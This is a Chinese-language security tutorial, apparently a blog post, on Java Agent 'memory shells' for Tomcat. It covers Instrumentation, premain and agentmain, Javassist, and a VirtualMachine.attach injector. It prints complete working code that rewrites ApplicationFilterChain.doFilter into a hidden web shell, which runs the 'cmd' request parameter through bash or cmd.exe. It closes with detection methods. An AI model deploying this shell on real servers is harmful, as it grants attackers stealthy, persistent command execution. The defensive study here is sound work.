原理分析 | Agent —— Tomcat 内存马
前几种(Filter、Servlet、Listener、Valve)都是在 Servlet容器层 做手脚——往 StandardContext 的集合里注入恶意组件。而 Agent内存马 下沉到 JVM字节码层,不依赖 Filter/Servlet/Listener 这些组件,通过 Instrumentation 动态修改类逻辑,相当于在 JVM 的”心脏”里动手术,不留下任何容器层痕迹,隐蔽性最强,原理与前几种截然不同。
目录
0x00 从一个问题出发
前三种内存马之所以能被检测到,本质原因是它们都新增了东西:Filter链多了一个Filter、Servlet映射多了一条、Listener列表多了一个监听器。排查者只需枚举容器里的这些集合,找到不认识的就是注入的内存马。
那有没有一种方式,不新增任何组件,只修改已有的代码逻辑,让每次请求都经过恶意代码?
答案就是利用Java的 Instrumentation机制,在运行时动态修改已加载类的字节码。
正常加载流程(无Agent介入时)

Agent介入流程(运行时动态修改字节码)

简单来讲:
- 没有 Agent 的情况下,一个 Java 类加载到 JVM 后,不能修改它的方法逻辑
- 有 Agent 的情况下,可以修改已加载类的方法逻辑
Agent 通过什么机制让 JVM 允许修改已加载的类?
Agent 拿到 JVM 给的 Instrumentation 对象 → 调用 retransformClasses → JVM 允许你替换内存中这个类的方法字节码 → 新逻辑生效。
Agent 的”附着和修改字节码”能力是通用的,但”内存马要修改哪个类的哪个方法”决定了它是否针对某个容器。
0x01 Java Instrumentation机制
java.lang.instrument 包是 Java 5 引入的,核心接口是 Instrumentation。它提供了一套机制,允许在 JVM 运行时对类的字节码进行拦截和修改。
Agent的两种挂载方式
Java Agent有两种生命周期入口:
premain — JVM 启动时通过 -javaagent:xxx.jar 挂载,在 main() 方法之前执行。这种方式需要重启 JVM,攻击场景下基本没用。
agentmain — JVM 运行中通过 Attach API 动态挂载,目标 JVM 不需要重启。这才是 Agent 内存马利用的入口。
两者的签名:
1 2 3 4 5
| public static void premain(String args, Instrumentation inst)
public static void agentmain(String args, Instrumentation inst)
|
区别只在方法名,Instrumentation 对象是一样的,功能完全相同。实际写 Agent 内存马时,两个方法都写上,都指向同一个逻辑,这样静态动态都能用。
Instrumentation核心方法
addTransformer 的意思是:向 JVM 注册一个监听器,告诉 JVM “以后每次加载类的时候,先把字节码交给我过一遍”。
1 2 3 4 5
| inst.addTransformer(new MyTransformer(), true);
inst.retransformClasses(SomeClass.class);
|
ClassFileTransformer 的 transform() 方法签名是固定的,因为它是接口定义好的,只能重写(@Override):
1 2 3 4 5 6 7
| public byte[] transform( ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain domain, byte[] classfileBuffer )
|
能做的只有两件事:
1 2
| return null → 不修改,JVM 用原始字节码 return byte[] → 返回修改后的字节码,JVM 用新的
|
0x02 静态注册(premain)实验
做一个静态注册(premain)的示例——就是 JVM 启动时通过 -javaagent 挂载,不涉及 Attach,是最基础的入门形式,先把 Instrumentation 机制摸透。
实验目标
写一个 Agent,让它在目标程序的某个方法被调用时,在控制台打印一条日志,纯粹是为了验证”修改字节码→影响方法行为”这个机制是真实有效的。
1 2 3 4 5 6 7 8 9
| 目标程序(TargetApp) └─ 正常跑,每2秒调用一次 doWork()
Agent(MyAgent) └─ premain() 注册 transformer └─ transformer 拦截 TargetApp,在 doWork() 开头插入打印语句
运行命令: java -javaagent:agent.jar -jar target.jar
|
项目结构
建议用 Maven,MANIFEST.MF 可以直接在 pom.xml 里配置,Javassist 依赖一行加进来,打 fat jar 有现成插件,手动 javac 的话 classpath、MANIFEST 都要自己管,容易踩坑。
建两个独立的 Maven 项目:
1 2 3 4 5 6 7 8 9
| agent-demo/ ├── my-agent/ ← Agent项目(打出来的jar挂载到目标) │ └── src/main/java/com/demo/ │ ├── AgentMain.java │ └── PrintTransformer.java │ └── target-app/ ← 目标程序(被注入的对象) └── src/main/java/com/demo/ └── TargetApp.java
|


target-app 代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package com.demo;
public class TargetApp { public static void main(String[] args) throws Exception { while (true) { doWork(); Thread.sleep(2000); } }
public static void doWork() { System.out.println("hello world"); } }
|
运行起来每2秒打印一行 hello world,没有任何 Agent 的情况下就是这个效果。

注意:TargetApp 的打印逻辑故意拆成了两个方法,而不是都写在 main() 里。原因是 main() 只被调用一次,进入 while(true) 之后就不会再调了,retransform 改完字节码也没机会生效。而 doWork() 每次循环都调用一次,注入完之后下一次循环就能看到效果。这正好对应 Tomcat 的场景:Tomcat 启动 → main() 只跑一次,HTTP 请求进来 → doFilter() 每次都调用。
target-app pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <project> <modelVersion>4.0.0</modelVersion> <groupId>com.demo</groupId> <artifactId>target-app</artifactId> <version>1.0-SNAPSHOT</version>
<build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-jar-plugin</artifactId> <version>3.3.0</version> <configuration> <archive> <manifest> <mainClass>com.demo.TargetApp</mainClass> </manifest> </archive> </configuration> </plugin> </plugins> </build> </project>
|
如果碰到 JDK 环境问题,可能是版本原因,把版本改成低版本的:

或者 pom.xml 里的也试试:

如果碰到 SSL 网络问题可以换源,打开 C:\Users\用户名\.m2\settings.xml(没有自己创建),添加阿里云镜像:
1 2 3 4 5 6 7 8 9 10 11 12
| <settings xmlns="http://maven.apache.org/SETTINGS/1.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/SETTINGS/1.0.0.xsd"> <mirrors> <mirror> <id>aliyunmaven</id> <name>阿里云公共仓库</name> <url>http://maven.aliyun.com/nexus/content/groups/public</url> <mirrorOf>central</mirrorOf> </mirror> </mirrors> </settings>
|
还有个小问题,一个目录里包含了两个 Maven 项目,导致第二个项目的目录显示不正常(重新只打开这个项目是正常的),是一点小 bug:


右键第二个项目的 java 目录 → 将目录标记为 →(点着点着就好了,不记得是哪个了)

pom.xml 里的也要改:

IDEA 右边有快速打包的功能(第一次打包比较慢,后面就快了):

生成 target-app-1.0-SNAPSHOT.jar 后,java -jar target-app-1.0-SNAPSHOT.jar 运行,效果一样:

my-agent pom.xml
my-agent 需要打 fat jar(把 Javassist 一起打进去),同时在 MANIFEST.MF 里声明 Agent 相关配置,这是 JVM 的强制要求,缺少这些声明会直接失败:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <project> <modelVersion>4.0.0</modelVersion> <groupId>com.demo</groupId> <artifactId>my-agent</artifactId> <version>1.0-SNAPSHOT</version>
<dependencies> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.29.2-GA</version> </dependency> </dependencies>
<build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-assembly-plugin</artifactId> <version>3.6.0</version> <configuration> <descriptorRefs> <descriptorRef>jar-with-dependencies</descriptorRef> </descriptorRefs> <archive> <manifestEntries> <Premain-Class>com.demo.AgentMain</Premain-Class> <Agent-Class>com.demo.AgentMain</Agent-Class> <Can-Retransform-Classes>true</Can-Retransform-Classes> <Can-Redefine-Classes>true</Can-Redefine-Classes> </manifestEntries> </archive> </configuration> <executions> <execution> <id>make-assembly</id> <phase>package</phase> <goals><goal>single</goal></goals> </execution> </executions> </plugin> </plugins> </build> </project>
|
MANIFEST.MF 里各字段的意义:
1 2 3 4
| Premain-Class ← JVM 启动时加载 Agent 会执行此类的 premain 方法 Agent-Class ← 运行时动态挂载时执行此类的 agentmain 方法 Can-Redefine-Classes ← 声明需要修改已加载类的权限 Can-Retransform-Classes ← 声明需要动态重新转换字节码的权限
|
AgentMain.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package com.demo;
import java.lang.instrument.Instrumentation;
public class AgentMain { public static void premain(String args, Instrumentation inst) { System.out.println("[Agent] 启动,开始注册 transformer"); inst.addTransformer(new PrintTransformer()); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| package com.demo;
import javassist.*; import java.io.ByteArrayInputStream; import java.lang.instrument.ClassFileTransformer; import java.security.ProtectionDomain;
public class PrintTransformer implements ClassFileTransformer {
@Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
if (!"com/demo/TargetApp".equals(className)) { return null; }
try { ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(loader));
CtClass ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
CtMethod method = ctClass.getDeclaredMethod("doWork");
method.insertBefore( "System.out.println(\"[Agent] doWork() 被调用了!\");" );
return ctClass.toBytecode();
} catch (Exception e) { System.out.println("[Agent] 修改失败:" + e.getMessage()); e.printStackTrace(); return null; } } }
|
打包后放一起运行命令测试:

如果 TargetApp 只有一个 main 方法(没有单独抽 doWork),效果就是下面这样,只提示 main 被调用了一次,后面就没有提示了,因为 main 函数只被加载了一次:

整个静态注入流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| JVM 启动 ↓ premain() 执行 ↓ inst.addTransformer(new PrintTransformer()) → JVM 内部记录:好,以后加载每个类都先经过 PrintTransformer ↓ TargetApp 开始加载 ↓ JVM 把 TargetApp 的原始字节码交给 PrintTransformer.transform() ↓ transform() 里判断:是不是我要改的类? → 不是 → return null → JVM 用原始字节码正常加载 → 是 → 用 Javassist 修改字节码 → return 修改后的字节码 → JVM 用新字节码加载 ↓ TargetApp.main() 执行,跑的是被修改过的字节码
|
写到这里想到了之前对 CS 魔改时看到过类似的一个文件 CSAgent.jar,在它的启动 bat 里就有一个参数 -javaagent:CSAgent.jar=CSAgent.properties:

这是 -javaagent 的带参数写法,格式是 -javaagent:jar路径=参数字符串,= 后面的内容会作为字符串传给 premain 的第一个参数 agentArgs,Agent 内部拿到这个字符串之后可以用它做任何事,比如当成配置文件路径去读取配置。
看 CSAgent.jar 的文件结构可以看到和前面写的结构非常类似,也包含 premain 文件和 Javassist 对加载的类进行处理,这正是 Agent 内存马静态注册的技术:

0x03 动态注册(agentmain)实验
静态(premain)是 JVM 启动时挂载,target 程序还没跑;动态(agentmain)是 target 程序已经在跑了,我们从外部把 agent 注入进去。
动态注入需要两个程序配合:
1 2 3
| TargetApp(一直在跑的目标) ↑ Attacher(另一个独立程序,负责把 agent 注入进去)
|
改 AgentMain,加上 agentmain 方法
两个入口都保留,静态动态都能用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| package com.demo;
import java.lang.instrument.Instrumentation;
public class AgentMain {
private static boolean injected = false;
public static void premain(String args, Instrumentation inst) throws Exception { System.out.println("[Agent] premain 启动"); inst.addTransformer(new PrintTransformer(), true); }
public static void agentmain(String args, Instrumentation inst) throws Exception { if (injected) return; injected = true; System.out.println("[Agent] agentmain 启动"); inst.addTransformer(new PrintTransformer(), true); inst.retransformClasses(Class.forName("com.demo.TargetApp")); } }
|
injected 布尔值是因为 AgentMain 被加载进目标 JVM 之后就一直驻留在内存里,类不卸载静态字段就一直存在,所以第二次 attach 进来时能读到上次设置的值,直接 return,不重复注入。
为什么动态注入需要 retransformClasses,静态不需要?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 静态注入(premain): addTransformer 注册完毕 ↓ TargetApp 还没加载 ↓ TargetApp 加载时自动经过 transformer → 不需要 retransformClasses
动态注入(agentmain): TargetApp 早就加载完了,已经在内存里跑着 ↓ addTransformer 注册完毕 ↓ TargetApp 不会再重新加载,transformer 没机会触发 ↓ 必须手动调 retransformClasses → 强制让 JVM 把这个类重新过一遍 transformer
|
写 Attacher
agentmain 需要通过 Attach API 来触发。Attach API 的核心类是 com.sun.tools.attach.VirtualMachine,位于 JDK 的 tools.jar 中,需要在 target-app 的 pom.xml 里加上依赖:
1 2 3 4 5 6 7 8 9
| <dependencies> <dependency> <groupId>com.sun</groupId> <artifactId>tools</artifactId> <version>1.8</version> <scope>system</scope> <systemPath>${java.home}/../lib/tools.jar</systemPath> </dependency> </dependencies>
|
my-agent 的 pom.xml 里 manifestEntries 要加上 Agent-Class 这行,动态注入用的是 agentmain,没有这个声明 JVM 会直接报错:
1 2 3 4 5 6
| <manifestEntries> <Premain-Class>com.demo.AgentMain</Premain-Class> <Agent-Class>com.demo.AgentMain</Agent-Class> <Can-Retransform-Classes>true</Can-Retransform-Classes> <Can-Redefine-Classes>true</Can-Redefine-Classes> </manifestEntries>
|
jps 是什么: JDK 自带的实用工具,用于列出当前系统中正在运行的 Java 进程,类似 Linux 的 ps,但只显示 Java 进程。-l 选项输出完整的主类名(包含包路径)或 JAR 文件的完整路径。

在 target-app 项目里新建 Attacher.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package com.demo;
import com.sun.tools.attach.VirtualMachine;
public class Attacher { public static void main(String[] args) throws Exception { String pid = "20696"; System.out.println("[Attacher] 目标进程:" + pid);
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent("E:\\WWW\\agent-demo\\my-agent\\target\\my-agent-1.0-SNAPSHOT-jar-with-dependencies.jar");
System.out.println("[Attacher] 注入成功");
vm.detach(); } }
|
整体就三步:连接目标 JVM → 加载 agent jar → 断开连接
重要:agentmain 是在目标 JVM 进程内执行的,不是在 Attacher 进程。所以在 agentmain 里可以直接访问目标 JVM 的所有已加载类和运行时状态。
直接在 IDEA 里运行 Attacher 即可,运行前先 jps -l 看一眼最新的 pid 填进去:

可以看到 agent 也能被重复注册,加了 injected 布尔值之后就不会重复注册了:

动态注入流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| TargetApp 跑着(jps 找到 pid) ↓ Attacher:VirtualMachine.attach(pid) → 连接到 TargetApp 的 JVM ↓ Attacher:vm.loadAgent(jar路径) → 触发 TargetApp JVM 内的 agentmain() ↓ agentmain 在 TargetApp JVM 内执行: addTransformer 注册钩子 retransformClasses 强制重新加载 TargetApp → PrintTransformer.transform() 被调用 → Javassist 在 doWork() 开头插入打印语句 → 返回修改后的字节码 ↓ Attacher 断开连接,但修改已生效 ↓ 此后每次 doWork() 被调用,都先执行插入的代码
|
0x04 注入Tomcat
动态注入 TargetApp 跑通之后,注入 Tomcat 就是换个类名和方法名的事,原理完全一样。因为前面学过 Tomcat 的请求流程是 listener → filter → servlet,而 filter 里有个 doFilter,所以可以通过 Agent 修改 doFilter 来达到效果,当然也能修改其他的。
PrintTransformer 修改——把目标类和方法换掉,插入代码换成执行命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| if (!"org/apache/catalina/core/ApplicationFilterChain".equals(className)) { return null; }
CtMethod method = ctClass.getDeclaredMethod("doFilter");
method.insertBefore( "javax.servlet.http.HttpServletRequest req = (javax.servlet.http.HttpServletRequest) $1;" + "javax.servlet.http.HttpServletResponse resp = (javax.servlet.http.HttpServletResponse) $2;" + "String cmd = req.getParameter(\"cmd\");" + "if (cmd != null) {" + " String[] cmds = new String[]{\"/bin/bash\", \"-c\", cmd};" + " if (System.getProperty(\"os.name\").toLowerCase().contains(\"win\")) {" + " cmds = new String[]{\"cmd.exe\", \"/c\", cmd};" + " }" + " java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();" + " java.util.Scanner sc = new java.util.Scanner(in).useDelimiter(\"\\\\A\");" + " String output = sc.hasNext() ? sc.next() : \"\";" + " resp.getWriter().println(output);" + "}" );
|
整体逻辑就是:每次请求进来,检查有没有 cmd 参数,有就执行,结果写回响应。
AgentMain 修改——retransformClasses 目标换成 ApplicationFilterChain:
1 2 3 4 5 6 7 8 9 10
| for (Class clazz : inst.getAllLoadedClasses()) { if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) { inst.retransformClasses(clazz); break; } }
|
这里不能直接使用 inst.retransformClasses(Class.forName("org.apache.catalina.core.ApplicationFilterChain")),因为 Class.forName() 用的是系统类加载器,找不到 Tomcat 自己的类。Tomcat 有独立的类加载器,ApplicationFilterChain 是被 Tomcat 的类加载器加载的,系统类加载器根本不知道它。所以必须换成遍历已加载类的写法,getAllLoadedClasses() 是直接从 JVM 拿所有已加载的类,不走类加载器查找,所以能找到 Tomcat 的内部类。
打包完成后,进入 Tomcat 的 bin 目录,运行 .\catalina.bat run 启动 Tomcat 服务,访问 http://localhost:8080/ 正常显示:

此时直接访问 http://localhost:8080/?cmd=whoami 是没有任何效果的:

jps -l 查找一下 Tomcat 的 pid:

把 pid 填进 Attacher,在 IDEA 里运行,Tomcat 终端显示注入成功:


再次访问 http://localhost:8080/?cmd=whoami,浏览器有回显,注入成功:

注入流程:
1 2 3 4 5 6 7 8 9 10 11
| Tomcat 跑着 ↓ Attacher attach 上 Tomcat 的 pid ↓ agentmain 触发 ↓ transformer 修改 ApplicationFilterChain.doFilter() 字节码 ↓ 每次 HTTP 请求进来经过 doFilter() ↓ 读取 cmd 参数 → 执行系统命令 → 写回 response
|
0x05 字节码修改:Javassist vs ASM
拿到原始字节码 byte[] 之后,需要一个工具来解析和修改它。常用的有两个:
ASM — 操作字节码指令级别,极其灵活但学习成本高,需要了解 JVM 指令集。
Javassist — 操作 Java 源码层面,直接写 Java 字符串来描述要插入的逻辑,门槛低得多。Agent 内存马分析通常用 Javassist 来演示,因为可读性好。
Javassist 的核心操作套路:
1 2 3 4 5 6 7 8 9 10 11 12
| ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(loader));
CtClass ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
CtMethod method = ctClass.getDeclaredMethod("doFilter"); method.insertBefore("/* 插入到方法开头的 Java 代码字符串 */");
byte[] modifiedBytes = ctClass.toBytecode(); ctClass.detach(); return modifiedBytes;
|
insertBefore / insertAfter / insertAt 分别在方法头、方法尾、指定行插入代码。Javassist 有一些限制,比如不支持泛型、不支持 var,但对于插入简单逻辑完全够用。
0x06 注入目标的选择
理论上可以修改任何类,但通常选择请求处理链中必经的类,这样每次 HTTP 请求都能触发。常见目标:
| 目标类 |
修改的方法 |
特点 |
ApplicationFilterChain |
doFilter() |
所有请求必经,Filter 执行入口 |
ApplicationFilterChain |
internalDoFilter() |
实际遍历 Filter 链的私有方法 |
CoyoteAdapter |
service() |
更靠近 Connector 层,更底层 |
StandardWrapperValve |
invoke() |
Valve 管道入口 |
选 ApplicationFilterChain.doFilter() 是最常见的选择,因为它是 Servlet 规范定义的接口,所有 Web 框架都要经过这里。
0x07 整体流程复盘
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| [攻击者] ├─ 通过漏洞(文件上传/反序列化等)把恶意 Agent jar 写到服务器 └─ 在服务器本地执行 Attacher,VirtualMachine.attach(Tomcat pid) ↓ [Attach API] └─ 向目标 JVM 发送 load 指令 ↓ [目标 JVM 内] ├─ 回调 agentmain(args, inst) ├─ inst.addTransformer(EvilTransformer, true) └─ inst.retransformClasses(ApplicationFilterChain.class) ↓ [EvilTransformer.transform()] ├─ 接收 ApplicationFilterChain 的原始字节码 ├─ 用 Javassist 在 doFilter() 开头插入读取 request 参数、执行命令的逻辑 └─ 返回修改后的字节码 ↓ [此后每次 HTTP 请求] └─ doFilter() 触发 → 读取特定请求参数 → 执行系统命令 → 写回 response
|
0x08 与其他内存马的对比
| 类型 |
作用层 |
注入手段 |
检测方式 |
隐蔽性 |
| Filter |
Servlet 容器 |
往 FilterChain 集合里加 |
枚举所有 Filter |
中 |
| Servlet |
Servlet 容器 |
往 URL 映射里加 |
枚举 Servlet 映射 |
中 |
| Listener |
Servlet 容器 |
往 Listeners 集合里加 |
枚举所有 Listener |
中 |
| Agent |
JVM 字节码 |
修改已有类字节码 |
需要对比字节码 |
极高 |
前三种内存马有一个共同弱点:需要新增组件,排查时遍历容器集合就能发现。Agent 内存马修改的是已有类,从容器层面看毫无异常——ApplicationFilterChain 还是那个 ApplicationFilterChain,类名没变,对象没变,只是方法体里偷偷多了几十行字节码。
0x09 检测思路
1. 字节码对比
最直接的方式:把 JVM 内存中正在运行的类的字节码,和 jar 包里原始的 class 文件做 MD5 对比,不一致就说明被修改过。
arthas 的 jad 命令可以反编译运行时的类:
1
| jad org.apache.catalina.core.ApplicationFilterChain doFilter
|
如果反编译结果里出现了不认识的逻辑,那基本确认了。
2. 检查已注册的 Transformer
Instrumentation 接口没有提供获取已注册 transformer 列表的标准方法,但通过反射可以拿到实现类内部维护的 transformer 列表,检查是否有可疑类。
3. 监控 Attach 行为
Attach 过程在 Linux 上会在 /tmp/.java_pid<pid> 创建 socket 文件,可以通过 inotify 或 auditd 监控这个行为。一个正常运行的 Tomcat 不应该频繁被 attach。
4. JVM 启动参数检查
查看 /proc/<pid>/cmdline,如果启动参数里有不认识的 -javaagent,要排查那个 jar 是否可信。(动态 attach 的 agent 不会出现在 cmdline 里,这一条只能查静态挂载的情况。)
0x0A 小结
Agent 内存马的核心是 Java 的 Instrumentation机制:
- 通过 Attach API 在运行时动态挂载 Agent
agentmain 拿到 Instrumentation 对象
- 注册
ClassFileTransformer,用 retransformClasses 触发对已加载类的字节码修改
- 用 Javassist/ASM 在目标方法里插入恶意逻辑
- 此后每次请求都走被篡改的字节码
和前几种内存马最本质的区别:不新增组件,修改已有类,绕过了所有基于”枚举新增组件”的检测手段。
检测这类内存马,核心思路是字节码比对,对关键类的运行时字节码做完整性校验,而不是只看容器层面的组件列表。
下一篇写内存马的检测与查杀,把几种内存马的排查方法系统整理一下。